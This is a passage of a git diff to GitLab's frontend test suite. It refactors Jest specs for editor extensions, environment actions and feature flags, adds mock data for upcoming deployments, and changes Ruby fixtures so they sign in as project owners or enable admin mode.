it('uses the last definition of a method in case of an overlap', () => {
- instance.use([MyExt1, MyExt2, MyExt3]);
- expect(instance).toEqual(
- expect.objectContaining({
- foo: foo2,
- bar,
- }),
- );
+ const FooObjExt2 = { foo: 'foo2' };
+ instance.use([FooObjExt, BarObjExt, FooObjExt2]);
+ expect(instance).toMatchObject({
+ foo: 'foo2',
+ ...BarObjExt,
+ });
});
it('correctly resolves references withing extensions', () => {
@@ -396,15 +483,15 @@ describe('Base editor', () => {
});
it('extends all instances if no specific instance is passed', () => {
- editor.use(MyExt1);
- expect(inst1.foo).toEqual(foo1);
- expect(inst2.foo).toEqual(foo1);
+ editor.use(AlphaExt);
+ expect(inst1.alpha()).toEqual(alphaRes);
+ expect(inst2.alpha()).toEqual(alphaRes);
});
it('extends specific instance if it has been passed', () => {
- editor.use(MyExt1, inst2);
- expect(inst1.foo).toBeUndefined();
- expect(inst2.foo).toEqual(foo1);
+ editor.use(AlphaExt, inst2);
+ expect(inst1.alpha).toBeUndefined();
+ expect(inst2.alpha()).toEqual(alphaRes);
});
});
});
diff --git a/spec/frontend/editor/editor_markdown_ext_spec.js b/spec/frontend/editor/editor_markdown_ext_spec.js
index 30ab29aad35..b432d4d66ad 100644
--- a/spec/frontend/editor/editor_markdown_ext_spec.js
+++ b/spec/frontend/editor/editor_markdown_ext_spec.js
@@ -1,6 +1,6 @@
import { Range, Position } from 'monaco-editor';
import EditorLite from '~/editor/editor_lite';
-import EditorMarkdownExtension from '~/editor/editor_markdown_ext';
+import { EditorMarkdownExtension } from '~/editor/editor_markdown_ext';
describe('Markdown Extension for Editor Lite', () => {
let editor;
@@ -31,7 +31,7 @@ describe('Markdown Extension for Editor Lite', () => {
blobPath: filePath,
blobContent: text,
});
- editor.use(EditorMarkdownExtension);
+ editor.use(new EditorMarkdownExtension());
});
afterEach(() => {
diff --git a/spec/frontend/environments/environment_actions_spec.js b/spec/frontend/environments/environment_actions_spec.js
index d305f5e90bd..cc5153d6eba 100644
--- a/spec/frontend/environments/environment_actions_spec.js
+++ b/spec/frontend/environments/environment_actions_spec.js
@@ -1,51 +1,69 @@
-import { shallowMount } from '@vue/test-utils';
+import { shallowMount, mount } from '@vue/test-utils';
import { TEST_HOST } from 'helpers/test_constants';
-import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
+import { GlDropdown, GlDropdownItem, GlLoadingIcon, GlIcon } from '@gitlab/ui';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import eventHub from '~/environments/event_hub';
import EnvironmentActions from '~/environments/components/environment_actions.vue';
+const scheduledJobAction = {
+ name: 'scheduled action',
+ playPath: `${TEST_HOST}/scheduled/job/action`,
+ playable: true,
+ scheduledAt: '2063-04-05T00:42:00Z',
+};
+
+const expiredJobAction = {
+ name: 'expired action',
+ playPath: `${TEST_HOST}/expired/job/action`,
+ playable: true,
+ scheduledAt: '2018-10-05T08:23:00Z',
+};
+
describe('EnvironmentActions Component', () => {
- let vm;
+ let wrapper;
- const findEnvironmentActionsButton = () => vm.find('[data-testid="environment-actions-button"]');
+ const findEnvironmentActionsButton = () =>
+ wrapper.find('[data-testid="environment-actions-button"]');
- beforeEach(() => {
- vm = shallowMount(EnvironmentActions, {
- propsData: { actions: [] },
+ function createComponent(props, { mountFn = shallowMount } = {}) {
+ wrapper = mountFn(EnvironmentActions, {
+ propsData: { actions: [], ...props },
directives: {
GlTooltip: createMockDirective(),
},
});
- });
+ }
+
+ function createComponentWithScheduledJobs(opts = {}) {
+ return createComponent({ actions: [scheduledJobAction, expiredJobAction] }, opts);
+ }
+
+ const findDropdownItem = action => {
+ const buttons = wrapper.findAll(GlDropdownItem);
+ return buttons.filter(button => button.text().startsWith(action.name)).at(0);
+ };
afterEach(() => {
- vm.destroy();
+ wrapper.destroy();
+ wrapper = null;
});
it('should render a dropdown button with 2 icons', () => {
- expect(vm.find('.dropdown-new').findAll(GlIcon).length).toBe(2);
+ createComponent({}, { mountFn: mount });
+ expect(wrapper.find(GlDropdown).findAll(GlIcon).length).toBe(2);
});
it('should render a dropdown button with aria-label description', () => {
- expect(vm.find('.dropdown-new').attributes('aria-label')).toEqual('Deploy to...');
+ createComponent();
+ expect(wrapper.find(GlDropdown).attributes('aria-label')).toBe('Deploy to...');
});
it('should render a tooltip', () => {
+ createComponent();
const tooltip = getBinding(findEnvironmentActionsButton().element, 'gl-tooltip');
expect(tooltip).toBeDefined();
});
- describe('is loading', () => {
- beforeEach(() => {
- vm.setData({ isLoading: true });
- });
-
- it('should render a dropdown button with a loading icon', () => {
- expect(vm.findAll(GlLoadingIcon).length).toBe(1);
- });
- });
-
describe('manual actions', () => {
const actions = [
{
@@ -64,68 +82,71 @@ describe('EnvironmentActions Component', () => {
];
beforeEach(() => {
- vm.setProps({ actions });
+ createComponent({ actions });
});
it('should render a dropdown with the provided list of actions', () => {
- expect(vm.findAll('.dropdown-menu li').length).toEqual(actions.length);
+ expect(wrapper.findAll(GlDropdownItem)).toHaveLength(actions.length);
});
it("should render a disabled action when it's not playable", () => {
- expect(vm.find('.dropdown-menu li:last-child gl-button-stub').props('disabled')).toBe(true);
+ const dropdownItems = wrapper.findAll(GlDropdownItem);
+ const lastDropdownItem = dropdownItems.at(dropdownItems.length - 1);
+ expect(lastDropdownItem.attributes('disabled')).toBe('true');
});
});
describe('scheduled jobs', () => {
- const scheduledJobAction = {
- name: 'scheduled action',
- playPath: `${TEST_HOST}/scheduled/job/action`,
- playable: true,
- scheduledAt: '2063-04-05T00:42:00Z',
- };
- const expiredJobAction = {
- name: 'expired action',
- playPath: `${TEST_HOST}/expired/job/action`,
- playable: true,
- scheduledAt: '2018-10-05T08:23:00Z',
- };
- const findDropdownItem = action => {
- const buttons = vm.findAll('.dropdown-menu li gl-button-stub');
- return buttons.filter(button => button.text().startsWith(action.name)).at(0);
+ let emitSpy;
+
+ const clickAndConfirm = async ({ confirm = true } = {}) => {
+ jest.spyOn(window, 'confirm').mockImplementation(() => confirm);
+
+ findDropdownItem(scheduledJobAction).vm.$emit('click');
+ await wrapper.vm.$nextTick();
};
beforeEach(() => {
+ emitSpy = jest.fn();
+ eventHub.$on('postAction', emitSpy);
jest.spyOn(Date, 'now').mockImplementation(() => new Date('2063-04-04T00:42:00Z').getTime());
- vm.setProps({ actions: [scheduledJobAction, expiredJobAction] });
});
- it('emits postAction event after confirming', () => {
- const emitSpy = jest.fn();
- eventHub.$on('postAction', emitSpy);
- jest.spyOn(window, 'confirm').mockImplementation(() => true);
+ describe('when postAction event is confirmed', () => {
+ beforeEach(async () => {
+ createComponentWithScheduledJobs({ mountFn: mount });
+ clickAndConfirm();
+ });
- findDropdownItem(scheduledJobAction).vm.$emit('click');
+ it('emits postAction event', () => {
+ expect(window.confirm).toHaveBeenCalled();
+ expect(emitSpy).toHaveBeenCalledWith({ endpoint: scheduledJobAction.playPath });
+ });
- expect(window.confirm).toHaveBeenCalled();
- expect(emitSpy).toHaveBeenCalledWith({ endpoint: scheduledJobAction.playPath });
+ it('should render a dropdown button with a loading icon', () => {
+ expect(wrapper.find(GlLoadingIcon).isVisible()).toBe(true);
+ });
});
- it('does not emit postAction event if confirmation is cancelled', () => {
- const emitSpy = jest.fn();
- eventHub.$on('postAction', emitSpy);
- jest.spyOn(window, 'confirm').mockImplementation(() => false);
-
- findDropdownItem(scheduledJobAction).vm.$emit('click');
+ describe('when postAction event is denied', () => {
+ beforeEach(() => {
+ createComponentWithScheduledJobs({ mountFn: mount });
+ clickAndConfirm({ confirm: false });
+ });
- expect(window.confirm).toHaveBeenCalled();
- expect(emitSpy).not.toHaveBeenCalled();
+ it('does not emit postAction event if confirmation is cancelled', () => {
+ expect(window.confirm).toHaveBeenCalled();
+ expect(emitSpy).not.toHaveBeenCalled();
+ });
});
it('displays the remaining time in the dropdown', () => {
+ createComponentWithScheduledJobs();
expect(findDropdownItem(scheduledJobAction).text()).toContain('24:00:00');
});
it('displays 00:00:00 for expired jobs in the dropdown', () => {
+ createComponentWithScheduledJobs();
expect(findDropdownItem(expiredJobAction).text()).toContain('00:00:00');
});
});
diff --git a/spec/frontend/environments/environment_item_spec.js b/spec/frontend/environments/environment_item_spec.js
index 1b429783821..bc692352103 100644
--- a/spec/frontend/environments/environment_item_spec.js
+++ b/spec/frontend/environments/environment_item_spec.js
@@ -1,3 +1,4 @@
+import { cloneDeep } from 'lodash';
import { mount } from '@vue/test-utils';
import { format } from 'timeago.js';
import EnvironmentItem from '~/environments/components/environment_item.vue';
@@ -30,6 +31,11 @@ describe('Environment item', () => {
});
const findAutoStop = () => wrapper.find('.js-auto-stop');
+ const findUpcomingDeployment = () => wrapper.find('[data-testid="upcoming-deployment"]');
+ const findUpcomingDeploymentContent = () =>
+ wrapper.find('[data-testid="upcoming-deployment-content"]');
+ const findUpcomingDeploymentStatusLink = () =>
+ wrapper.find('[data-testid="upcoming-deployment-status-link"]');
afterEach(() => {
wrapper.destroy();
@@ -87,6 +93,72 @@ describe('Environment item', () => {
});
});
+ describe('When the envionment has an upcoming deployment', () => {
+ describe('When the upcoming deployment has a deployable', () => {
+ it('should render the build ID and user', () => {
+ expect(findUpcomingDeploymentContent().text()).toMatchInterpolatedText(
+ '#27 by upcoming-username',
+ );
+ });
+
+ it('should render a status icon with a link and tooltip', () => {
+ expect(findUpcomingDeploymentStatusLink().exists()).toBe(true);
+
+ expect(findUpcomingDeploymentStatusLink().attributes().href).toBe(
+ '/root/environment-test/-/jobs/892',
+ );
+
+ expect(findUpcomingDeploymentStatusLink().attributes().title).toBe(
+ 'Deployment running',
+ );
+ });
+ });
+
+ describe('When the deployment does not have a deployable', () => {
+ beforeEach(() => {
+ const environmentWithoutDeployable = cloneDeep(environment);
+ delete environmentWithoutDeployable.upcoming_deployment.deployable;
+
+ factory({
+ propsData: {
+ model: environmentWithoutDeployable,
+ canReadEnvironment: true,
+ tableData,
+ },
+ });
+ });
+
+ it('should still renders the build ID and user', () => {
+ expect(findUpcomingDeploymentContent().text()).toMatchInterpolatedText(
+ '#27 by upcoming-username',
+ );
+ });
+
+ it('should not render the status icon', () => {
+ expect(findUpcomingDeploymentStatusLink().exists()).toBe(false);
+ });
+ });
+ });
+
+ describe('Without upcoming deployment', () => {
+ beforeEach(() => {
+ const environmentWithoutUpcomingDeployment = cloneDeep(environment);
+ delete environmentWithoutUpcomingDeployment.upcoming_deployment;
+
+ factory({
+ propsData: {
+ model: environmentWithoutUpcomingDeployment,
+ canReadEnvironment: true,
+ tableData,
+ },
+ });
+ });
+
+ it('should not render anything in the upcoming deployment column', () => {
+ expect(findUpcomingDeploymentContent().exists()).toBe(false);
+ });
+ });
+
describe('Without auto-stop date', () => {
beforeEach(() => {
factory({
@@ -209,6 +281,10 @@ describe('Environment item', () => {
it('should render the number of children in a badge', () => {
expect(wrapper.find('.folder-name .badge').text()).toContain(folder.size);
});
+
+ it('should not render the "Upcoming deployment" column', () => {
+ expect(findUpcomingDeployment().exists()).toBe(false);
+ });
});
describe('When environment can be deleted', () => {
diff --git a/spec/frontend/environments/mock_data.js b/spec/frontend/environments/mock_data.js
index 77c5dad0bbf..e7b99c8688c 100644
--- a/spec/frontend/environments/mock_data.js
+++ b/spec/frontend/environments/mock_data.js
@@ -86,6 +86,98 @@ const environment = {
],
deployed_at: '2016-11-29T18:11:58.430Z',
},
+ upcoming_deployment: {
+ id: 82,
+ iid: 27,
+ sha: '1132df044b73943943c949e7ac2c2f120a89bf59',
+ ref: {
+ name: 'master',
+ ref_path: '/root/environment-test/-/tree/master',
+ },
+ status: 'running',
+ created_at: '2020-12-04T19:57:49.514Z',
+ deployed_at: null,
+ tag: false,
+ 'last?': false,
+ user: {
+ id: 1,
+ name: 'Upcoming Name',
+ username: 'upcoming-username',
+ state: 'active',
+ avatar_url: 'http://0.0.0.0:3000/uploads/-/system/user/avatar/2/avatar.png',
+ web_url: 'http://0.0.0.0:3000/upcoming-username',
+ show_status: false,
+ path: '/upcoming-username',
+ },
+ deployable: {
+ id: 1310,
+ name: 'deploy_to_development',
+ started: '2020-12-04T19:58:10.806Z',
+ archived: false,
+ build_path: '/root/environment-test/-/jobs/892',
+ cancel_path:
+ '/root/environment-test/-/jobs/892/cancel?continue%5Bto%5D=%2Froot%2Fenvironment-test%2F-%2Fjobs%2F892',
+ playable: false,
+ scheduled: false,
+ created_at: '2020-12-04T19:57:49.455Z',
+ updated_at: '2020-12-04T19:58:10.809Z',
+ status: {
+ icon: 'status_running',
+ text: 'running',
+ label: 'running',
+ group: 'running',
+ tooltip: 'running',
+ has_details: true,
+ details_path: '/root/environment-test/-/jobs/892',
+ illustration: {
+ image:
+ '/assets/illustrations/skipped-job_empty-29a8a37d8a61d1b6f68cf3484f9024e53cd6eb95e28eae3554f8011a1146bf27.svg',
+ size: 'svg-430',
+ title: 'This job does not have a trace.',
+ },
+ favicon:
+ '/assets/ci_favicons/favicon_status_running-9c635b2419a8e1ec991c993061b89cc5aefc0743bb238ecd0c381e7741a70e8c.png',
+ action: {
+ icon: 'cancel',
+ title: 'Cancel',
+ path: '/root/environment-test/-/jobs/892/cancel',
+ method: 'post',
+ button_title: 'Cancel this job',
+ },
+ },
+ },
+ commit: {
+ id: '1132df044b73943943c949e7ac2c2f120a89bf59',
+ short_id: '1132df04',
+ created_at: '2020-12-01T15:46:26.000-05:00',
+ parent_ids: ['e0808dee2a5877563ec140e65d8b41908f90098c'],
+ title: 'Update .gitlab-ci.yml',
+ message: 'Update .gitlab-ci.yml',
+ author_name: 'Upcoming Name',
+ author_email: 'admin@example.com',
+ authored_date: '2020-12-01T15:46:26.000-05:00',
+ committer_name: 'Upcoming Name',
+ committer_email: 'admin@example.com',
+ committed_date: '2020-12-01T15:46:26.000-05:00',
+ web_url:
+ 'http://0.0.0.0:3000/root/environment-test/-/commit/1132df044b73943943c949e7ac2c2f120a89bf59',
+ author: {
+ id: 1,
+ name: 'Upcoming Name',
+ username: 'upcoming-username',
+ state: 'active',
+ avatar_url: 'http://0.0.0.0:3000/uploads/-/system/user/avatar/2/avatar.png',
+ web_url: 'http://0.0.0.0:3000/upcoming-username',
+ show_status: false,
+ path: '/upcoming-username',
+ },
+ author_gravatar_url:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ commit_url:
+ 'http://0.0.0.0:3000/root/environment-test/-/commit/1132df044b73943943c949e7ac2c2f120a89bf59',
+ commit_path: '/root/environment-test/-/commit/1132df044b73943943c949e7ac2c2f120a89bf59',
+ },
+ },
has_stop_action: true,
environment_path: 'root/ci-folders/environments/31',
log_path: 'root/ci-folders/environments/31/logs',
@@ -156,6 +248,11 @@ const tableData = {
title: 'Updated',
spacing: 'section-10',
},
+ upcoming: {
+ title: 'Upcoming',
+ mobileTitle: 'Upcoming deployment',
+ spacing: 'section-10',
+ },
autoStop: {
title: 'Auto stop in',
spacing: 'section-5',
diff --git a/spec/frontend/feature_flags/components/configure_feature_flags_modal_spec.js b/spec/frontend/feature_flags/components/configure_feature_flags_modal_spec.js
index 67f4bee766b..06b9385b112 100644
--- a/spec/frontend/feature_flags/components/configure_feature_flags_modal_spec.js
+++ b/spec/frontend/feature_flags/components/configure_feature_flags_modal_spec.js
@@ -1,7 +1,6 @@
import { shallowMount } from '@vue/test-utils';
-import { GlModal, GlSprintf } from '@gitlab/ui';
+import { GlModal, GlSprintf, GlAlert } from '@gitlab/ui';
import Component from '~/feature_flags/components/configure_feature_flags_modal.vue';
-import Callout from '~/vue_shared/components/callout.vue';
describe('Configure Feature Flags Modal', () => {
const mockEvent = { preventDefault: jest.fn() };
@@ -36,8 +35,8 @@ describe('Configure Feature Flags Modal', () => {
const findGlModal = () => wrapper.find(GlModal);
const findPrimaryAction = () => findGlModal().props('actionPrimary');
const findProjectNameInput = () => wrapper.find('#project_name_verification');
- const findDangerCallout = () =>
- wrapper.findAll(Callout).filter(c => c.props('category') === 'danger');
+ const findDangerGlAlert = () =>
+ wrapper.findAll(GlAlert).filter(c => c.props('variant') === 'danger');
describe('idle', () => {
afterEach(() => wrapper.destroy());
@@ -86,10 +85,10 @@ describe('Configure Feature Flags Modal', () => {
);
});
- it('should display one and only one danger callout', () => {
- const dangerCallout = findDangerCallout();
- expect(dangerCallout.length).toBe(1);
- expect(dangerCallout.at(0).props('message')).toMatch(/Regenerating the instance ID/);
+ it('should display one and only one danger alert', () => {
+ const dangerGlAlert = findDangerGlAlert();
+ expect(dangerGlAlert.length).toBe(1);
+ expect(dangerGlAlert.at(0).text()).toMatch(/Regenerating the instance ID/);
});
it('should display a message asking to fill the project name', () => {
@@ -130,7 +129,7 @@ describe('Configure Feature Flags Modal', () => {
});
it('should not display regenerating instance ID', async () => {
- expect(findDangerCallout().exists()).toBe(false);
+ expect(findDangerGlAlert().exists()).toBe(false);
});
it('should disable the project name input', async () => {
diff --git a/spec/frontend/feature_flags/components/edit_feature_flag_spec.js b/spec/frontend/feature_flags/components/edit_feature_flag_spec.js
index 6a394251060..f8e25925774 100644
--- a/spec/frontend/feature_flags/components/edit_feature_flag_spec.js
+++ b/spec/frontend/feature_flags/components/edit_feature_flag_spec.js
@@ -4,7 +4,7 @@ import MockAdapter from 'axios-mock-adapter';
import { GlToggle, GlAlert } from '@gitlab/ui';
import { TEST_HOST } from 'spec/test_constants';
import { mockTracking } from 'helpers/tracking_helper';
-import { LEGACY_FLAG, NEW_VERSION_FLAG, NEW_FLAG_ALERT } from '~/feature_flags/constants';
+import { LEGACY_FLAG, NEW_VERSION_FLAG } from '~/feature_flags/constants';
import Form from '~/feature_flags/components/form.vue';
import createStore from '~/feature_flags/store/edit';
import EditFeatureFlag from '~/feature_flags/components/edit_feature_flag.vue';
@@ -37,9 +37,6 @@ describe('Edit feature flag form', () => {
showUserCallout: true,
userCalloutId,
userCalloutsPath,
- glFeatures: {
- featureFlagsNewVersion: true,
- },
...opts,
},
});
@@ -151,33 +148,4 @@ describe('Edit feature flag form', () => {
});
});
});
-
- describe('without new version flags', () => {
- beforeEach(() => factory({ glFeatures: { featureFlagsNewVersion: false } }));
-
- it('should alert users that feature flags are changing soon', () => {
- expect(findAlert().text()).toBe(NEW_FLAG_ALERT);
- });
- });
-
- describe('dismissing new version alert', () => {
- beforeEach(() => {
- factory({ glFeatures: { featureFlagsNewVersion: false } });
- mock.onPost(userCalloutsPath, { feature_name: userCalloutId }).reply(200);
- findAlert().vm.$emit('dismiss');
- return wrapper.vm.$nextTick();
- });
-
- afterEach(() => {
- mock.restore();
- });
-
- it('should hide the alert', () => {
- expect(findAlert().exists()).toBe(false);
- });
-
- it('should send the dismissal event', () => {
- expect(mock.history.post.length).toBe(1);
- });
- });
});
diff --git a/spec/frontend/feature_flags/components/feature_flags_tab_spec.js b/spec/frontend/feature_flags/components/feature_flags_tab_spec.js
index bc90c5ceb2d..23cc7045d1f 100644
--- a/spec/frontend/feature_flags/components/feature_flags_tab_spec.js
+++ b/spec/frontend/feature_flags/components/feature_flags_tab_spec.js
@@ -12,6 +12,7 @@ const DEFAULT_PROPS = {
errorTitle: 'test title',
emptyState: true,
emptyTitle: 'test empty',
+ emptyDescription: 'empty description',
};
const DEFAULT_PROVIDE = {
@@ -115,9 +116,7 @@ describe('feature_flags/components/feature_flags_tab.vue', () => {
it('should show an empty state if it is empty', () => {
expect(emptyState.text()).toContain(DEFAULT_PROPS.emptyTitle);
- expect(emptyState.text()).toContain(
- 'Feature flags allow you to configure your code into different flavors by dynamically toggling certain functionality.',
- );
+ expect(emptyState.text()).toContain(DEFAULT_PROPS.emptyDescription);
expect(emptyState.props('svgPath')).toBe(DEFAULT_PROVIDE.errorStateSvgPath);
expect(emptyStateLink.attributes('href')).toBe(DEFAULT_PROVIDE.featureFlagsHelpPagePath);
expect(emptyStateLink.text()).toBe('More information');
diff --git a/spec/frontend/feature_flags/components/new_feature_flag_spec.js b/spec/frontend/feature_flags/components/new_feature_flag_spec.js
index dbc6e03d922..e317ac4b092 100644
--- a/spec/frontend/feature_flags/components/new_feature_flag_spec.js
+++ b/spec/frontend/feature_flags/components/new_feature_flag_spec.js
@@ -1,17 +1,11 @@
import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
-import MockAdapter from 'axios-mock-adapter';
import { GlAlert } from '@gitlab/ui';
import { TEST_HOST } from 'spec/test_constants';
import Form from '~/feature_flags/components/form.vue';
import createStore from '~/feature_flags/store/new';
import NewFeatureFlag from '~/feature_flags/components/new_feature_flag.vue';
-import {
- ROLLOUT_STRATEGY_ALL_USERS,
- DEFAULT_PERCENT_ROLLOUT,
- NEW_FLAG_ALERT,
-} from '~/feature_flags/constants';
-import axios from '~/lib/utils/axios_utils';
+import { ROLLOUT_STRATEGY_ALL_USERS, DEFAULT_PERCENT_ROLLOUT } from '~/feature_flags/constants';
import { allUsersStrategy } from '../mock_data';
const userCalloutId = 'feature_flags_new_version';
@@ -42,9 +36,6 @@ describe('New feature flag form', () => {
userCalloutsPath,
environmentsEndpoint: 'environments.json',
projectId: '8',
- glFeatures: {
- featureFlagsNewVersion: true,
- },
...opts,
},
});
@@ -58,8 +49,6 @@ describe('New feature flag form', () => {
wrapper.destroy();
});
- const findAlert = () => wrapper.find(GlAlert);
-
describe('with error', () => {
it('should render the error', () => {
store.dispatch('receiveCreateFeatureFlagError', { message: ['The name is required'] });
@@ -101,36 +90,4 @@ describe('New feature flag form', () => {
expect(strategies).toEqual([allUsersStrategy]);
});
-
- describe('without new version flags', () => {
- beforeEach(() => factory({ glFeatures: { featureFlagsNewVersion: false } }));
-
- it('should alert users that feature flags are changing soon', () => {
- expect(findAlert().text()).toBe(NEW_FLAG_ALERT);
- });
- });
-
- describe('dismissing new version alert', () => {
- let mock;
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- mock.onPost(userCalloutsPath, { feature_name: userCalloutId }).reply(200);
- factory({ glFeatures: { featureFlagsNewVersion: false } });
- findAlert().vm.$emit('dismiss');
- return wrapper.vm.$nextTick();
- });
-
- afterEach(() => {
- mock.restore();
- });
-
- it('should hide the alert', () => {
- expect(findAlert().exists()).toBe(false);
- });
-
- it('should send the dismissal event', () => {
- expect(mock.history.post.length).toBe(1);
- });
- });
});
diff --git a/spec/frontend/filtered_search/filtered_search_manager_spec.js b/spec/frontend/filtered_search/filtered_search_manager_spec.js
index 5c37d986ef1..b1c299ba91f 100644
--- a/spec/frontend/filtered_search/filtered_search_manager_spec.js
+++ b/spec/frontend/filtered_search/filtered_search_manager_spec.js
@@ -69,7 +69,7 @@ describe('Filtered Search Manager', () => {
${FilteredSearchSpecHelper.createInputHTML(placeholder)}
</ul>
<button class="clear-search" type="button">
- <i class="fa fa-times"></i>
+ <svg class="s16 clear-search-icon" data-testid="close-icon"><use xlink:href="icons.svg#close" /></svg>
</button>
</form>
</div>
diff --git a/spec/frontend/fixtures/abuse_reports.rb b/spec/frontend/fixtures/abuse_reports.rb
index 48b055fcda5..f5524a10033 100644
--- a/spec/frontend/fixtures/abuse_reports.rb
+++ b/spec/frontend/fixtures/abuse_reports.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Admin::AbuseReportsController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
+ include AdminModeHelper
let(:admin) { create(:admin) }
let!(:abuse_report) { create(:abuse_report) }
@@ -18,6 +19,7 @@ RSpec.describe Admin::AbuseReportsController, '(JavaScript fixtures)', type: :co
before do
sign_in(admin)
+ enable_admin_mode!(admin)
end
it 'abuse_reports/abuse_reports_list.html' do
diff --git a/spec/frontend/fixtures/admin_users.rb b/spec/frontend/fixtures/admin_users.rb
index f068ada53e1..e0fecbdb1aa 100644
--- a/spec/frontend/fixtures/admin_users.rb
+++ b/spec/frontend/fixtures/admin_users.rb
@@ -5,12 +5,14 @@ require 'spec_helper'
RSpec.describe Admin::UsersController, '(JavaScript fixtures)', type: :controller do
include StubENV
include JavaScriptFixturesHelpers
+ include AdminModeHelper
let(:admin) { create(:admin) }
before do
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
sign_in(admin)
+ enable_admin_mode!(admin)
end
render_views
diff --git a/spec/frontend/fixtures/application_settings.rb b/spec/frontend/fixtures/application_settings.rb
index 6156e6a43bc..ebccecb32ba 100644
--- a/spec/frontend/fixtures/application_settings.rb
+++ b/spec/frontend/fixtures/application_settings.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Admin::ApplicationSettingsController, '(JavaScript fixtures)', type: :controller do
include StubENV
include JavaScriptFixturesHelpers
+ include AdminModeHelper
let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
@@ -13,6 +14,7 @@ RSpec.describe Admin::ApplicationSettingsController, '(JavaScript fixtures)', ty
before do
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
sign_in(admin)
+ enable_admin_mode!(admin)
end
render_views
diff --git a/spec/frontend/fixtures/autocomplete_sources.rb b/spec/frontend/fixtures/autocomplete_sources.rb
index 8858d69a939..9ff0f959c11 100644
--- a/spec/frontend/fixtures/autocomplete_sources.rb
+++ b/spec/frontend/fixtures/autocomplete_sources.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Projects::AutocompleteSourcesController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let_it_be(:admin) { create(:admin) }
+ let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group, name: 'frontend-fixtures') }
let_it_be(:project) { create(:project, namespace: group, path: 'autocomplete-sources-project') }
let_it_be(:issue) { create(:issue, project: project) }
@@ -15,7 +15,8 @@ RSpec.describe Projects::AutocompleteSourcesController, '(JavaScript fixtures)',
end
before do
- sign_in(admin)
+ group.add_owner(user)
+ sign_in(user)
end
it 'autocomplete_sources/labels.json' do
diff --git a/spec/frontend/fixtures/blob.rb b/spec/frontend/fixtures/blob.rb
index a365ee805af..b112886b2ca 100644
--- a/spec/frontend/fixtures/blob.rb
+++ b/spec/frontend/fixtures/blob.rb
@@ -5,9 +5,9 @@ require 'spec_helper'
RSpec.describe Projects::BlobController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project, :repository, namespace: namespace, path: 'branches-project') }
+ let(:user) { project.owner }
render_views
@@ -16,7 +16,7 @@ RSpec.describe Projects::BlobController, '(JavaScript fixtures)', type: :control
end
before do
- sign_in(admin)
+ sign_in(user)
allow(SecureRandom).to receive(:hex).and_return('securerandomhex:thereisnospoon')
end
diff --git a/spec/frontend/fixtures/boards.rb b/spec/frontend/fixtures/boards.rb
deleted file mode 100644
index 90e2ca4db63..00000000000
--- a/spec/frontend/fixtures/boards.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Projects::BoardsController, '(JavaScript fixtures)', type: :controller do
- include JavaScriptFixturesHelpers
-
- let(:admin) { create(:admin) }
- let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
- let(:project) { create(:project, :repository, namespace: namespace, path: 'boards-project') }
-
- render_views
-
- before(:all) do
- clean_frontend_fixtures('boards/')
- end
-
- before do
- sign_in(admin)
- end
-
- it 'boards/show.html' do
- get(:index, params: {
- namespace_id: project.namespace,
- project_id: project
- })
-
- expect(response).to be_successful
- end
-end
diff --git a/spec/frontend/fixtures/branches.rb b/spec/frontend/fixtures/branches.rb
index df2d1af7ecf..f3b3633347d 100644
--- a/spec/frontend/fixtures/branches.rb
+++ b/spec/frontend/fixtures/branches.rb
@@ -5,9 +5,9 @@ require 'spec_helper'
RSpec.describe 'Branches (JavaScript fixtures)' do
include JavaScriptFixturesHelpers
- let_it_be(:admin) { create(:admin) }
let_it_be(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let_it_be(:project) { create(:project, :repository, namespace: namespace, path: 'branches-project') }
+ let_it_be(:user) { project.owner }
before(:all) do
clean_frontend_fixtures('branches/')
@@ -22,7 +22,7 @@ RSpec.describe 'Branches (JavaScript fixtures)' do
render_views
before do
- sign_in(admin)
+ sign_in(user)
end
it 'branches/new_branch.html' do
@@ -44,7 +44,7 @@ RSpec.describe 'Branches (JavaScript fixtures)' do
# - "master": default, protected
# - "markdown": non-default, protected
# - "many_files": non-default, not protected
- get api("/projects/#{project.id}/repository/branches?search=ma", admin)
+ get api("/projects/#{project.id}/repository/branches?search=ma", user)
expect(response).to be_successful
end
diff --git a/spec/frontend/fixtures/clusters.rb b/spec/frontend/fixtures/clusters.rb
index d0940c7dc7f..b37aa137504 100644
--- a/spec/frontend/fixtures/clusters.rb
+++ b/spec/frontend/fixtures/clusters.rb
@@ -5,10 +5,10 @@ require 'spec_helper'
RSpec.describe Projects::ClustersController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project, :repository, namespace: namespace) }
let(:cluster) { create(:cluster, :provided_by_gcp, projects: [project]) }
+ let(:user) { project.owner }
render_views
@@ -17,7 +17,7 @@ RSpec.describe Projects::ClustersController, '(JavaScript fixtures)', type: :con
end
before do
- sign_in(admin)
+ sign_in(user)
end
after do
diff --git a/spec/frontend/fixtures/commit.rb b/spec/frontend/fixtures/commit.rb
index 9175a757b73..ff62a8286fc 100644
--- a/spec/frontend/fixtures/commit.rb
+++ b/spec/frontend/fixtures/commit.rb
@@ -6,14 +6,12 @@ RSpec.describe 'Commit (JavaScript fixtures)' do
include JavaScriptFixturesHelpers
let_it_be(:project) { create(:project, :repository) }
- let_it_be(:user) { create(:user) }
+ let_it_be(:user) { project.owner }
let_it_be(:commit) { project.commit("master") }
